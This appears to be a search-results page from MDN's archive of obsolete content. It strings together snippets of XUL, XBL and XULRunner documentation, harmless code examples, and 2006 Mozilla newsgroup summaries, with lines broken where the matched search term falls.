mmand="alert(document.getelementbyid('random-box').number)"/> xbl: <binding id="randomizer"> <implementation> <field name="number"/> </implementation> </binding> a number field has been defined in the binding, which stores the random number. the two extra buttons set and get the value...
...size property of the banana is called. this script uses the value passed in the val variable and assigns it to the size property of the banana in some manner. note that unlike a field, a property does not hold a value. attempting to set a property that does not have an onset handler will generate an error. you will often use a separate field to hold the actual value of the property. it is also co
mmon to have the properties match an attribute on the xbl-defined element. the following example maps a property to an attribute on an element. <property name="size" onget="return this.getattribute('size');" onset="this.setattribute('size', val);" /> whenever a script attempts to get the value of the property, it is grabbed instead from the attribute on the element with the same...
More Event Handlers - Archive of obsolete content
event's target property in the last section. it holds a reference to the element where the event occurred. a similar property currenttarget holds the element that is currently having its event listeners handled. in the example below, currenttarget is always the vbox, whereas target would be the specific element, either the button or checkbox, that was activated. example 1 : source view <vbox onco
mmand="alert(event.currenttarget.tagname);"> <button label="ok"/> <checkbox label="show images"/> </vbox> stop event propagation once you handle an event, regardless of where in the propagation the event is, you will likely want to stop the event from being sent to further elements, essentially stopping the capturing or bubbling phases from continuing. depending on how you attach the event list...
...e event object's stoppropagation method, as in the following example. example 2 : source view <hbox id="outerbox"> <button id="okbutton" label="ok"/> </hbox> <script> function buttonpressed(event){ alert('button was pressed!'); } function boxpressed(event){ alert('box was pressed!'); event.stoppropagation(); } var button = document.getelementbyid("okbutton"); button.addeventlistener('co
mmand',buttonpressed,true); var outerbox = document.getelementbyid("outerbox"); outerbox.addeventlistener('co
mmand',boxpressed,true); </script> here, an event listener has been added to the button and another event listener has been added to the box. the stoppropagation method has been called in the box's listener, so the button's listener never gets called. if this call was removed, both listener...
...nformation pertaining to how the element is displayed, including the x and y position of the element. in this example code, these coordinates are subtracted from the event coordinates to get the event position relative to the element. load events the load event is sent to the document (the window tag) once the xul file has finished loading and just before the content is displayed. this event is co
mmonly used to initialize fields and perform other tasks that need to be done before the user can use the window. you should use a load event to do these kinds of things as opposed to adding a script at the top level outside of a function. this is because the xul elements may not have loaded or fully initialized yet, so some things may not work as expected. to use a load event, place an onload attri...
Using Remote XUL - Archive of obsolete content
ulxbl", like this: components.classes["@mozilla.org/permissionmanager;1"] .getservice(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); xul (pronounced like "zool"), which is short for xml-based user interface language, is an xml-based language for describing application interfaces. it contains elements for all co
mmon ui widgets (menus, buttons, toolbars, etc.) and many sophisticated ones (trees, browsers, color pickers). xul is often used by desktop applications like mozilla but can also be loaded from a web server and rendered inside the content pane of a compatible browser. xul loaded and rendered in this way is called remote xul and can be used for basic functions like web site navigation as well as to ...
...bel="the mozilla organization"> <menupopup> <menuitem label="at a glance" value="https://www.mozilla.org/mozorg.html" /> <menuitem label="feedback" value="https://www.mozilla.org/feedback.html" /> <menuitem label="get involved" value="https://www.mozilla.org/get-involved.html" /> <menuitem label="newsgroups" value="https://www.mozilla.org/co
mmunity.html" /> <menuitem label="license terms" value="https://www.mozilla.org/mpl/" /> <menuitem label="newsbot" value="https://www.mozilla.org/newsbot/" /> </menupopup> </menu> <menu label="developer docs"> <menupopup> <menuitem label="roadmap" value="https://www.mozilla.org/roadmap.html" /> <menuitem label="projects" va...
...("src", url); } </script> ... </window> the code to load the urls is simple. first we write an event handler function that receives an event, extracts a url from the value attribute of the element where the event occurred (a.k.a. the target element), and loads the url in the iframe. we add an id attribute to the iframe element so we can reference it from our function, and we add an onco
mmand event listener to the menubar element that calls the function every time the user clicks a button or selects a menu item. the onco
mmand event listener is a generic listener that fires whenever the user manipulates an element in some conclusive way. because we added it to the menubar item, and events "bubble up" from child element to parent element, it'll fire any time the user manipulates an ...
XUL Questions and Answers - Archive of obsolete content
more documentation on search plugins is available in the search plugins category. is localizing remote xul possible? loading remote dtds for xml documents is currenty not supported in xul. the following bugs were reported on this issue: bug 22942, bug 133698. is there an editor widget in xul that supports syntax highlighting? daniel glazman has been working on this for his projects. ...
... integers but they are actually handled as strings. to convert them to integers use the parseint() javascript function. while the attributes are always strings per the dom specification, the properties will eventually be fixed to return the value with the correct type. ...
... how to use dynamic objects in toolbar there may be a few ways to implement this: by building your menupopup from an rdf datasource, which could be generated on the server. by getting data (e.g. json string) from the server, parsing it on client, and building the menupopup using dom methods (such as document.createelementns). ...
XUL accessibility tool - Archive of obsolete content
(insofar as automated testing is possible) the guidelines and requirement for creating accessible xul as set forth in the xul accessibility guidelines, and to report on any problems found in tested documents. while not meant to be a comprehensive test suite (meaning that passing all included tests does not guarantee that an application is free of accessibility bugs or issues), many of the most co
mmon accessibility mistakes will be found and reported. availability the xul accessibility tool can currently be obtained from [http://www.xulplanet.com/aaron/files...bilitytool.xpi]. future versions of the extension will be available from addons.mozilla.org. the version currently on xulplanet is compatible with the following xul applications: firefox 1.5+ thunderbird 3.0a+ recent sunbird build...
... new features: (aaronlev) automatically test any new windows as they are opened. (aaronandy) highlight or blink source element in original xul app upon click of referencing l...
...ine in report. (aaronlev) compatibility with more xul applications. (aaronandy) maybe an online tool to automatically generate a xul a11y tool compatible with a user-specified xul app. (aaronandy) link report sections to relevant part of xul a11y guidelines. (aaronandy) enable tabs, context menu, and other browser extras in report window. (aaronandy) xul runner version that can run from the co
mmand line, check a text file, and output the results somewhere. known bugs: test for lowercase i or l as accesskey (sometimes?) flags upppercase i and l too. possible false positives in some of the other tests processing is slower than we would like. ideas for further work on xul a11y some general ideas for using the tool and guidelines to further the accessibility cause within the mozill...
XML - Archive of obsolete content
guage (cml) are two of the better-known and more widely-used languages, but there are hundreds. information developers create languages particular to their applications, any time they need a very specific way to represent the structure of some data. when we say language, we mean that developers create a set of terms, orlexicon, and a relationship between these terms, or what some people call agra
mmar. then they insist that their authors use the language to describe the thing it has been created for. those authors may be people or machines, but they must use the new language if the readers are to understand what sort of data it is they are reading. it's much simpler than it seems -- much simpler, in fact, than a lot of xml primers and references would have you believe. in fact, let's create ...
...</body> </memo> note how the memo element -- the root element in our brief definition, ordeclaration, above -- surrounds the other three elements. in the memoml definition, the memo element is defined as containing the from, to, and body elements in that order. so the example here is valid memo according to our dtd; it's a memo that's been writtten in memoml. bam! you're a markup language progra
mmer! you can author an infinite number of memos using our new markup language, and all will be structured in a consistent, foreseeable way. this consistency makes it possible for both humans and machines to read memoml memos, to "understand" the english marked up with memoml and to do what they will with it. this is what xml is: a meta-language for defining languages appropriate to the tasks at ha...
...s are as simple as html tags but as powerful as visual gui builder tools. in the context of the interface being assembled, these xul elements are referred to as widgets -- and sometimes collectively as the xptoolkit. as a set of interface-defining tags, xulis the widgets its tags describe. xul is little beyond the set of tags used to define interface widgets, the relationship between them, or gra
mmar, and some built-in flexibility for using extra resources like images, html elements, and other standards-based technologies. but this is all you need to build any interface. xul is timely. only quite recently have the standards out of which xul was fashioned matured to a level where they might really be powerful and flexible enough to support the sort of development that xul provides for. as t...
iframe - Archive of obsolete content
s case, please see displaying web content in an extension without security issues. more information is available in the xul tutorial. ...
...access of the document loaded inside the browser. if this is not set, the loaded document has the same access as the window containing the browser. more precisely: the document loaded into a chrome window is always of chrome type. subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the co
mmon ones are content, content-targetable and content-primary) indicating that the subdocument is of content type. this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents from inheriting the principal of the parent document. the type attribute on all frames in content documents is ignored; subdocu...
... this read-only property contains the nsiwebnavigation object for the document. most of its methods are callable directly on the element itself, such as goback and goforward. it also contains the load constants used by reloadwithflags and loaduriwithflags. ...
titlebar - Archive of obsolete content
tlebars for chromeless windows. if the titlebar is in a panel element, dragging it will move the panel. elements inside the titlebar usually don't receive any mouse events, so e.g. buttons inside it can't be clicked and textboxes can't be focused with the mouse. if you don't want this behavior, you can override it by setting allowevents="true" on the titlebar element. the titlebar will send a co
mmand event after the move is complete. examples this xul file will create a hud-style window that can be moved with the mouse. it will close if the mouse button is released. <?xml version="1.0"?> <window title="movable hud window" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" width="300" height="200" style="background: transparent; -moz-appearance:...
...te. examples this xul file will create a hud-style window that can be moved with the mouse. it will close if the mouse button is released. ...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
tree - Archive of obsolete content
</treerow> </treeitem> </treechildren> </treeitem> </treechildren> </tree> attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...se which use treeitems directly will already have a view. functions available in the view allow one to retrieve the data within the cells, and determine which rows are nested within others. for a complete list of view functions, see the nsitreeview interface. ...
...edcolumn('age')); to select the checkbox and display the cell's text value, you can use code like the following. ...
Building XULRunner with Python - Archive of obsolete content
enerally useful it is written based on experiences with accessibility projects. see also xulrunner. or, if you are interested in working with xulrunner with python on linux, see mark lise's post with the python extensions enabled xulrunner provides python script access to the dom and xpcom in addition to the usual java script. this gives access to python features and modules and builds on mark ha
mmond's pyxpcom work from active state. xpcom components can also be created in python. currently (mar 07) python is not enabled by default so a custom build of mozilla is needed. this page provides instructions in the hope of eliminating much trial and error. you should also read the the developer documentation on source code and building as wells as pyxpcom xulrunner with python promises to be a...
...r must be built with the same version of c as python and with python 2.5 that is msvc71. both must use the same version of the c runtime library msvcrt?.dll or crashes will ensue. the alternative is to build python with msvc8 as well asmozilla, but that may be problematic. it might also be possible to use the open source mingw compiler with the correct msvc run time but that is apparently not reco
mmended. apply any service packs and for msvc71 sp 1 is available. the matching platform sdk is also needed and for msvc71 that is .net framework sdk 1.1. the latest mozilla build system is easy to use. install the included python distro usingpython25\python-2.5.msi. it doesn't need to be installed for the build but will be useful later when installing python packages which look for entries in the...
...", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); html <script> tags specify that python is used withtype="application/x-python" attribute. dom scripting is pretty much as with java script. for example def onload(): btntest = document.getelementbyid("btntest") btntest.addeventlistener('co
mmand', ontest, false) def ontest(): window.alert('button activated') window.addeventlistener('load', onload, false) one possible gotcha is that the default python path used to find modules that areimported explicitly includes the xulrunner executable directory and the directory that is current when xulrunner launches. however it does not include any path related to the xul application being...
Dialogs in XULRunner - Archive of obsolete content
button, as well as the javascript function to call if the button is pressed. xul handles placing and styling the buttons on the dialog. this is also nice for cross-platform applications, as each os has its own convention for where buttons should be placed on a dialog. here is a short list of the button attributes on dialog; see also creating dialogs at mozillazine knowledge base: buttons a co
mma separated list of buttons to show on dialog (accept, cancel, help, extra1, and extra2). buttonlabelaccept label for the accept button; similar attributes exist for the other button types. buttonaccesskeyaccept access key for the accept button; similar attributes exist for the other button types. ondialogaccept javascript to execute if the accept button is pressed; similar attributes exist ...
...e accept button is pressed; similar attributes exist for the other button types. xul has a wide range of input controls you can use in a dialog. in the future, i will try to go into more detail on some of the existing and planned xul input controls. not too sure if i’ll use the <dialogheader>, but if i did, the single element would be a big time saver over building the header from scratch. co
mmon dialogs some of the most frequently used co
mmon dialogs are for opening and saving files. for instance, windows has supported built-in file open and file save dialogs for many years, and the macintosh has always had them. it makes creating an application easier for developers; in addition, the consistent user experience also makes applications easier to use. xul supports native implementations...
...that could change in future releases. firefox and thunderbird both support nearly native page setup and print dialogs. however, xul does support elements to make creating wizards a simple task as well. future articles in this series will look at input controls, printing, the clipboard, and xpcom. see also dialog xul tutorial:creating dialogs nsifilepicker xul tutorial:open and ...
XULRunner FAQ - Archive of obsolete content
is xulrunner a browser? no. you can use xulrunner to make a browser (mybrowser example or firefox), but there is no such thing as "the xulrunner browser". is xulrunner a development tool? not particularly; xulrunner is a internet technology runtime. xulrunner can be used to make development tools (the ajax toolkit framework, for example). in the future there will be a xulrunner developer kit which will contain various development tools. ...
... why is installing xulrunner so painful? why isn't there a nice installer? because nobody has written that code yet! this is a developer preview release: additional features for installing and deploying xulrunner and applications based on xulrunner will be available in future releases. i'm writing a xul application, how can i deploy that application to my users? right now mozilla reco
mmends that xulrunner should be deployed privately with each application. see deploying xulrunner 1.8 for more information. where is the source code? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help ...
...on. see deploying xulrunner 1.8 for more information. where is the source code? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to start, visit the xulrunner:co
mmunity page and ask questions on the newsgroups or the irc channel. ...
XUL Application Packaging - Archive of obsolete content
xulrunner application packages are standard toolkit bundles (like a firefox extension), with one additional manifest file (application.ini) which helps describe the application. xul app packages are typically zipped into an archive with the extension .xulapp or .xpi. they can be installed to xulrunner with a co
mmand line flag "--install-app" if xulrunner is registered on the system. see co
mmand line options for more details. note: for instructions on deploying your applications see deploying xulrunner. application.ini the application.ini manifest is located at the root of the extension and provides metadata that allows xulrunner to launch the application properly. it is parsed as a windows-style ini file with [headings] and key=value pairs. lines beginning with ; or # are treated ...
...ine options for more details. note: for instructions on deploying your applications see deploying xulrunner. application.ini the application.ini manifest is located at the root of the extension and provides metadata that allows xulrunner to launch the application properly. it is parsed as a windows-style ini file with [headings] and key=value pairs. lines beginning with ; or # are treated as co
mments. a sample application.ini file can be found in the mozilla source tree. the [app] section the app section specifies metadata about the application name specifies the application name. required name example: name=testapplication version specifies the application version number. required see toolkit version format for version numbering details example: version=0.1 ...
...ld identifier. this is typically a date identifier, and should be different for every released version of an application. required example: buildid=20060201 id specifies the unique application id required the application id, like extension ids, can be formatted either like an email applicationname@vendor.tld or a uuid {12345678-1234-1234-1234-123456789abc}. the email format is reco
mmended for newly developed applications. example: id=testapplication@example.tld vendor specifies the application vendor optional example: vendor=grinch productions profile specifies the path to use for the application's profile, based within the user's application data directory optional example: profile=myappdata the [gecko] section the gecko section specifies what vers...
XUL Explorer - Archive of obsolete content
t file > new allows user to pick any “template” snippet, as well as blank. simple xul checker can be used to ‘validate’ the xul snippet. it checks for legal element and attribute names, including allowed attributes for a given element. ...
......
...te co
mmon projects - extensions support extension testing using firefox extension test mode venkman support dom inspector support future: support more “best practice” checks such as: more a11y checks, strings in dtds and so on - xul checker allow users to add snippets on the fly add sidebars for more functionality - property sidebar and project sidebar support wizards to generate co
mmon projects - xul files, js xpcom, and xulrunner applications for more detailed information, see the xul_explorer:planning#feature_planning_for_xul_explorer. installs latest version: install (windows): xulexplorer-1.0a1pre.en-us.win32.exe 6.6mb install (mac): xulexplorer-1.0a1pre.en-us.mac.dmg 9.3mb install (linux): xulexplorer-1.0a1pre.en-us.linux-i686.tar.bz2 8.4mb contributing sou...
application/http-index-format specification - Archive of obsolete content
le in the future) and data is separated from number by a colon and a space. the syntax of data is defined by the syntax spec for every number type. if a number is encountered that a parser does not understand the parser is required to ignore that line. there is no line length limit. all lines must be terminated by a carriage return followed by a line feed. number codes 100 a human readable co
mment line. machine parsers should ignore this data. this data is not intended for display to the end user and is only meant as a co
mment to make the file format clear to a human interpreter. 101 pre formatted human readable information line. this data is intended for the end user of the file format data if there is one. this data should be presented to the user when they are viewing data drawn f...
... symbolic-link sym-file (a symbolic link to a file) sym-directory (a symbolic link to a directory) permissions unix type file permission syntax. 3 slots either 'r', 'w', 'x', or '-' representing, in order, read, write, or execute permissions. a '-' indicates that the particular permission is not set. example "rw-" means read and write permission, but not execute. example 100: this is a co
mment! do not present to the end-user 100: 101: the files in this directory are put forth for public 101: consumption and the provider make no guarentee as 101: as to the functionality of the data or programs 101: presented. 100: 300: ftp://test.netscape.com/u/montulli 100: 200: filename content-length content-type file-type last-modified 201: foo.txt 512 text/plain file tue,%2015%20nov%2...
... ...
calICalendarView - Archive of obsolete content
because of this close association between methods and attributes on the one hand, and content on the other, calicalendarview implementations are particularly well suited to xbl. there is, however, no practical obstacle to the interface being implemented by any javascript object associated with a group of dom nodes, even non-anonymous xul nodes. in the vast majority of cases, the dom corresponding to an implementation of calicalendarview will be rather complex. ...
...ometimes show only the single date passed in. this allows lack of required predictability allows calicalendarview implementations to be re-used in a variety of sitatuations. it also fueled the development, however, of the more predictable, but less flexible calidecoratedview, which usually contains an embedded calicalendarview. calendar/base/public/calicalendarview.idlscriptable please add a su
mmary to this article. last changed in gecko ? interface code [scriptable, uuid(3e567ccb-2ecf-4f59-b7ca-bf42b0fbf24a)] interface calicalendarview : nsisupports { attribute calicalendar displaycalender; attribute calicalendarviewcontroller controller; void showdate(in calidatetime adate); void setdaterange(in calidatetime astartdate, in calidatetime aenddate); readonly attribute...
...ore calling any of the methods it implements.note that in most cases, this attribute will be set by the consumers of calicalendarview very early in an application/extension's loading process. startdate returns a calidatetime corresponding to the first date shown by the view enddate returns a calidatetime corresponding to the last date shown by the view. note that this date is typically not i
mmediately useful for querying for the events and tasks shown in the calicalendarview. typically, one more day must be added to it, in order to make it exclusive. supportsdisjointdates consumers of calicalendarview should check this attribute to determine whether or not the implementation allows for calls to setdatelist. if an implementation returns true for this attribute, it must allow for any ...
Mozprofile - Archive of obsolete content
documentation is no longer maintained. please see the maintained documentation of mozprofile at http://mozbase.readthedocs.org/en/latest/mozprofile.html. mozprofile is a python tool for creating and managing profiles for mozilla's applications (firefox, thunderbird, etc.). in addition to creating profiles, mozprofile can install addons and set preferences. mozprofile can be utilized from the co
mmand line or as an api. co
mmand line usage mozprofile may be used to create profiles, set preferences in profiles, or install addons into profiles. the profile to be operated on may be specified with the --profile switch. if a profile is not specified, one will be created in a temporary directory which will be echoed to the terminal: (mozmill)> mozprofile /tmp/tmp4q1ieu.mozrunner (mozmill)> ls /tmp...
... used to create profiles, set preferences in profiles, or install addons into profiles. the profile to be operated on may be specified with the --profile switch. if a profile is not specified, one will be created in a temporary directory which will be echoed to the terminal: (mozmill)> mozprofile /tmp/tmp4q1ieu.mozrunner (mozmill)> ls /tmp/tmp4q1ieu.mozrunner user.js to run mozprofile from the co
mmand line enter: mozprofile --help for a list of options. api usage to use mozprofile as an api you can import mozprofile.profile and/or the addonmanager. mozprofile.profile features a generic profile class. in addition, subclasses firefoxprofile and thundebirdprofile are available with preset preferences for those applications. installing addons addons may be installed individually or from a manif...
...setting permissions mozprofile also takes care of adding permissions to the profile. see https://github.com/mozilla/mozbase/b...permissions.py resources other mozilla programs offer additio...
reftest opportunities files - Archive of obsolete content
ed place and is supposed to be ignored, then we can match against an html file that is missing that extra mark-up. in other cases, the design of the reference page may take more subtlety. for now, create a bug in the core product, testing component in the bugzilla, if you can point to a file in this list and can attach the html reference that can be used to compare the output. any assistance or co
mments here would be appreciated. if you have questions, please post to the mozilla.dev.quality newsgroup on news.mozilla.org (see at google groups). layout bugs that needs a reftest many of the bugzilla bugs in the core product, layout components with the in-testsuite? flag needs one or more reftests. if you create a reftest for any of these bugs please attach the reftest to the bug and ask for rev...
...zilla.dev.quality newsgroup on news.mozilla.org (see at google groups). layout bugs that needs a reftest many of the bugzilla bugs in the core product, layout components with the in-testsuite? flag needs one or more reftests. if you create a reftest for any of these bugs please attach the reftest to the bug and ask for review from the assignee (or anyone else that seems appropriate judging from co
mments in the bug). note that bugs with the testcase keyword already have one or more testcases attached to the bug that can be used when creating the reftest. tests from dbaron http://dbaron.org/css/test/cachetest http://dbaron.org/css/test/lenunit http://dbaron.org/css/test/implied http://dbaron.org/css/test/formelem http://dbaron.org/css/test/sec010303 http://dbaron.org/css/test/sec0302 http://d...
...parser/htmlparser/tests/html/del009.html parser/htmlparser/tests/html/del008.html parser/htmlparser/tests/html/del007.html parser/htmlparser/tests/html/del006.html parser/htmlparser/tests/html/del005.html parser/htmlparser/tests/html/del004.html parser/htmlparser/tests/html/del003.html parser/htmlparser/tests/html/del002.html parser/htmlparser/tests/html/del001.html parser/htmlparser/tests/html/co
mments.html parser/htmlparser/tests/html/col016.html parser/htmlparser/tests/html/col015.html parser/htmlparser/tests/html/col014.html parser/htmlparser/tests/html/col013.html parser/htmlparser/tests/html/col012.html parser/htmlparser/tests/html/col011.html parser/htmlparser/tests/html/col010.html parser/htmlparser/tests/html/col009.html parser/htmlparser/tests/html/col008.html parser/htmlparser/tes...
2006-10-13 - Archive of obsolete content
large discussion about why the use of the sequence 2.0.0.*. discussions everyone and his goldfish thinks bug 300198 should be fixed large response to the discussion about the bug: https://bugzilla.mozilla.org/show_bug.cgi?id=300198, regarding middle clicking on a tab. annoying firefox 2 save dialog instead of open/save ones. ...
... of it. no responses as of yet. firefox browser problem: width:30ex does not respect font discussion about a font rendering problem with firefox print on the firefox context menu user would like discussion about why the bug https://bugzilla.mozilla.org/show_bug.cgi?id=204519 is a wontfix. (user feels print belongs on the context menu along with back, reload, etc.) questions about progra
mming for firefox a student questions how to create an extension that changes fonts, and how to capture website content before it is displayed. firefox add-on wanted user is inquiring if there is such an application to automatically save pieces of a webpage everytime is it updated. firefox 2.0 should re-implement modal window.open to support web 2.0 user would like the option to show pop-up...
... it updated. ...
2006-10-26 - Archive of obsolete content
discussions should be easier to import bookmark backups user asking for thoughts about having bookmarks manager's import wizard import from backups in the bookmarkbackups folder. no repiles yet. fx 1.5.0.x (linux) not building since 20-oct-2006 17:45 pdt? tony inquires why tinderbox is showing that the fx 1.5.0.x (linux) has failed since october 20. gavin replies that "[t]he log file shows a "no space left on device" error when trying to link the final executable." learn the traffic magic of search engine cloaking mark describes the magic of search engine cloaker. ...
...on the mozilla.dev.apps.firefox newsgroup. firefox killer features suggestion john describes his suggestions for "killer features" for firefox. debug minefield on intel mac an inqury about how to debug minefield on an intel mac. rebuild firefox after modifying source code an inqury about how to rebuild the code after making a minor change - the user is unfamiliar with how to use the co
mmand prompt. bug in firefox when import passwords from seamonkey a possible bug find - perhaps a version error instead? there should be a 'changes' faq a user suggests that a faq page be made for changes, since the same two questions keep coming up. nsialertsservice under linux an inqury about why nsialertsservice is not a service found in firefox 2. is this a bug in firefox? an inq...
... error building firefox-2.0rc3 on uclinux an error was found about building on uclinux, user googgled the error and suggests that the error found in older versions. no replies yet. ubuntu firefox ua string a user questions ubuntu 6.10 and their firefox's ua string, the zeros seem to be wrong. meetings none this week. authors sara minchella (sara) dave manley (senemanley) back to su
mmary list ...
2006-10-27 - Archive of obsolete content
discussions should be easier to import bookmark backups user asking for thoughts about having bookmarks manager's import wizard import from backups in the bookmarkbackups folder. no repiles yet. fx 1.5.0.x (linux) not building since 20-oct-2006 17:45 pdt? tony inquires why tinderbox is showing that the fx 1.5.0.x (linux) has failed since october 20. gavin replies that "[t]he log file shows a "no space left on device" error when trying to link the final executable." learn the traffic magic of search engine cloaking mark describes the magic of search engine cloaker. ...
...on the mozilla.dev.apps.firefox newsgroup. firefox killer features suggestion john describes his suggestions for "killer features" for firefox. debug minefield on intel mac an inqury about how to debug minefield on an intel mac. rebuild firefox after modifying source code an inqury about how to rebuild the code after making a minor change - the user is unfamiliar with how to use the co
mmand prompt. bug in firefox when import passwords from seamonkey a possible bug find - perhaps a version error instead? there should be a 'changes' faq a user suggests that a faq page be made for changes, since the same two questions keep coming up. nsialertsservice under linux an inqury about why nsialertsservice is not a service found in firefox 2. is this a bug in firefox? an inq...
... error building firefox-2.0rc3 on uclinux an error was found about building on uclinux, user googgled the error and suggests that the error found in older versions. no replies yet. ubuntu firefox ua string a user questions ubuntu 6.10 and their firefox's ua string, the zeros seem to be wrong. meetings none this week. authors sara minchella (sara) dave manley (senemanley) back to su
mmary list ...
2006-11-24 - Archive of obsolete content
they would like to discuss the use of it in bug 361026 rich results for searches a proposal for a search tool that gives users a quicker path to specific information they are looking for. ...
...they would like to discuss the use of it in bug 361026 rich results for searches a proposal for a search tool that gives users a quicker path to specific information they are looking for. ...
...g broken in a nightly build since the user keeps getting this error from the trunk: "firefox.exe - application error: the application failed to initialize properly." removal of false positives in firefox 2 phishing a user inquires how to remove false positives from the firefox phising filters. meetings none this week. authors sara minchella (sara) dave manley (senemanley) back to su
mmary list ...
2006-12-01 - Archive of obsolete content
discussions firefox 2.0 should re-implement modal window.open to support web 2.0 a plea to re-implement the option to show modal windows, using window.open(), from inside an untrusted script. this implementation was removed in 2002 to fight against popups. xml in firefox is a major problem a major debate surrounding the use of xml for customizing rss feeds. devs say this is the way its supposed to be, others say its a bug! the debate continues. discussion of support for modal windows within firefox 2.0 a lengthy post regarding the re-implementation of modal windows into firefox. ...
...t of registered sites that would provide information as it relates to a user's search. windows dde shell integration removal a call for responses or concerns regarding the removal of the dde shell integration. how do allow an internal web site to have universalbrowserwrite? a question regarding having an internal website use universalbrowserwrite on a local intranet. developping microsu
mmary generator questions and discussion surrounding microsu
mmaries in ff 2.0. applying extensions question regarding the proper application of ff extensions. finding out how blur() works... question regarding how to access the functionality that arises when window.blur() is called. ff2 not responding to click on link concerns regarding ff 2.0 not responding to button or link clicks unt...
...utton or link is clicked a second time. ...
2006-10-06 - Archive of obsolete content
hence, they are looking for a mac user to test out the new features by building a mac.rdf file with all of the various .mac account properties mentioned in the document here. discussions is thunderbird using a valid w3c coding? peter lairo requested someone who are knowledgeable in w3c standards to confirm if the use of <blockquote type="cite"> is valid w3c code. ...
... updated: developer documentation issues for thunderbird 2 eric shepherd has requested feedback for any developer documentation issues that might need dealing with for thunderbird 2. discussion highlights: ziga sancin suggests writing an introductory article for potential developers containing basic project information (history, list of main developers, project goals, roadmap and available co
mmunication channels, etc), tools needed to start developing and building tb, documentation on source structure as well as links to help one get started on the project. david bienvenu suggests a top down architectural description of tb's data structures along with documentation about extracting them. brian king also mentions that documentation on handling message headers on the ui side would be he...
...ols needed to start developing and building tb, documentation on source structure as well as links to help one get started on the project. david bienvenu suggests a top down architectural description of tb's data structures along with documentation about extracting them. brian king also mentions that documentation on handling message headers on the ui side would be helpful. cédric corazza reco
mmends that the proposed documention should be made available on the l10n cvs once it reaches a decent stage so that localizers can get a head-start on the localization before the final version is made available. updated : need ui to rearrange tags peter lairo suggested some ui should be available for rearranging tags. related: bug 342065 meetings none for this week. ...
2006-10-27 - Archive of obsolete content
the question tony posted was that he wanted to know what was wrong with fx 1.5.0.x (linux) tinderbox because it has been failing since october 22 at around 5:45 pm pdt. gavin responded to tony's posting saying that the log file shows a "no space left on device" error when trying to link the final executable. on the same day tony replied to gavin's posting stating the possible choices to solve the problem. ...
... user experience. ...
...to the posting on the same day by mentioning that they should discuss this with the fedora project and see what their solution to the problem is. urk stated that currently fedora has their release 6 directory locked out with access forbidden via web and ftp while the mirrors are mirroring for the release tuesday. meetings there were no meetings this week. su
mmarized by: vanessa miranda & moha
mmad tirtashi ...
2006-11-10 - Archive of obsolete content
this feature consists of creating buttons using a small program, that allows you to create shortcuts to a particular address. the button gets added to the toolbar, separate from the links. reflow branch build failed with vc 7.1 sp1 november 8th: roy received an error when he tried to reflow a branch build using vc 7.1 sp1. on the same day he posted the answer to his posting that he found in last weeks posting. click here to see the answer to the problem. ...
... received an error when he tried to reflow a branch build using vc 7.1 sp1. on the same day he posted the answer to his posting that he found in last weeks posting. click here to see the answer to the problem. building xulrunner application with mozilla november 8th: kirans is trying to build mozilla with xulrunner option on a windows machine. when he ran this "make -f client.mk build" co
mmand he receive an error saying "no such file or directory". he stated that he set is home variable to c:\mozilla, and is not sure what he is doing wrong. november 9th: jonathan watt responded to his posting stating that he must have the wrong line endings in his mozconfig or some other script fill that he is probably using to run. build problem firefox 2.0 on fc3 november 10th: vin downloa...
...libs] error 2 gmake[2]: leaving directory `/usr/mozilla2/src/mozilla/xpcom' gmake[1]: *** [tier_2] error 2 gmake[1]: leaving directory `/usr/mozilla2/src/mozilla' make: *** [default] error 2 he is not sure what is wrong with his build, and is asking for help on how to resolve the build error. announcements there are no announcements this week. meetings there were no meetings this week. su
mmarized by: vanessa miranda & moha
mmad tirtashi ...
2006-11-17 - Archive of obsolete content
however he has been unsuccessful and gets the following errors: checking for gtk - version >= 1.2.0... no could not run gtk test program, checking why... the test program failed to compile or link. see the file config.log for the exact error that occured. this usually means gtk was incorrectly installed or that you have moved gtk since it was installed. in the latter case, you may want to edit the gtk-config script: /usr/bin/gtk-config configure: error: test for gtk failed bryan is asking for help as he is confused and has no idea what is causing the build process to fail. ...
...ted in his office failed to boot up after power was restored. ...
... after power was restored. ...
NPN_GetURL - Archive of obsolete content
syntax #include <npapi.h> nperror npn_geturl(npp instance, const char* url, const char* target); parameters the function has the following parameters: instance pointer to the current plug-in instance. url pointer to the url of the request. can be of any type, such as http, ftp, news, or mailto. target name of the target window or frame, or one of the following special target names. values: _blank or _new: load the link in a new blank unnamed window. ...
...ws, or mailto. target name of the target window or frame, or one of the following special target names. values: _blank or _new: load the link in a new blank unnamed window. safest target, even though, when used with a mailto or news url, this creates an extra blank the browser instance. _self or _current: load the link into the same window the plug-in instance occupies. not reco
mmended; if target refers to the window or frame containing the instance, the instance is destroyed and the plug-in may be unloaded. use with npn_geturl() only if you want to terminate the plug-in. _parent: load the link into the i
